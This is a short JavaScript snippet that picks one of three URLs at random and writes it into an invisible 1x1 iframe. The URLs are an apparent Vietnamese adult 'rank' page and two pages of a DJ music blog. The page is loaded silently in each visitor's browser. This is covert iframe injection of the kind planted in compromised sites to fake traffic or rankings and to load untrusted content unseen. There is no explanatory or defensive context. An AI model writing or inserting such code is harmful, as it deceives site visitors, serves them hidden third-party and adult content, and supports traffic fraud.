var links=['http://thegioisex.xtgem.com/rank.html','http://dj-tuoigi.blogspot.com/','http://dj-tuoigi.blogspot.com/p/rap-viet.html'];
var key=Math.floor(Math.random()*1000000)%links.length;
document.write('<iframe  style="display:none" marginWidth="1" marginHeight="1" frameBorder="0" width="1" height="1" bottommargin="0" rightmargin="0" leftmargin="0" topmargin="0" nosize scrolling="no" src="'+links[key]+'"></iframe>');